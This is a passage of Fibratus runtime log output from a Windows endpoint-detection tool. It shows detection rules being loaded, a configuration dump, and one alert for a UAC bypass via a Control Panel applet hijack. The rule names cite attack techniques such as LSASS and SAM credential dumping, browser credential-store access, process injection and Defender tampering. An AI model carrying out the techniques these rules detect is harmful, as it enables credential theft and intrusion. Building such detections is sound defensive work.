C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-05T16:06:27+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-05T16:06:27+01:00 level=info msg=bootstrapping with pid 18228. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-05T16:06:27+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ use-template=>true port=>25 to=>[] content-type=>text/html enabled=>false] systray=>[ sound=>true enabled=>false quiet-mode=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-threads=>false serialize-handles=>false serialize-envs=>true serialize-pe=>false serialize-images=>false] + eventsource .................... [ enable-handle=>false enable-mem=>false buffer-size=>512 enable-dns=>false enable-registry=>true enable-threadpool=>false enable-net=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-audit-api=>true flush-interval=>1s max-buffers=>36 enable-fileio=>true enable-vamap=>true min-buffers=>16 enable-thread=>true stack-enrichment=>true enable-image=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text level=>info max-age=>0 max-backups=>15 max-size=>100 log-stdout=>true] + output ......................... [ amqp=>[ exchange=>fibratus timeout=>5s tls-insecure-skip-verify=>false exchange-type=>topic delivery-mode=>transient routing-key=>fibratus enabled=>false passive=>false url=>amqp://localhost:5672 durable=>false vhost=>/] elasticsearch=>[ healthcheck-interval=>10s flush-period=>1s bulk-workers=>1 sniff=>false timeout=>5s servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s template-name=>fibratus trace-log=>false gzip-compression=>false enabled=>false healthcheck=>true index-name=>fibratus] http=>[ endpoints=>[] tls-insecure-skip-verify=>false serializer=>json method=>POST enabled=>false timeout=>5s enable-gzip=>false] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ excluded-images=>[svchost.exe] read-sections=>false enabled=>false read-symbols=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-files=>false excluded-procs=>[] skip-allocs=>false scan-timeout=>10s skip-registry=>false excluded-files=>[] enabled=>false fastscan=>true] source=bootstrap/bootstrap.go:187 +time=2025-12-05T16:06:28+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-05T16:06:30+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-05T16:06:47+01:00 level=info msg=sending alert: [UAC bypass via Control Panel applet execution hijack]. Text: Event(s): source=action/alert.go:37 +time=2025-12-05T16:06:56+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-05T16:06:57+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-05T16:06:57+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-05T16:07:59+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-05T16:07:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml 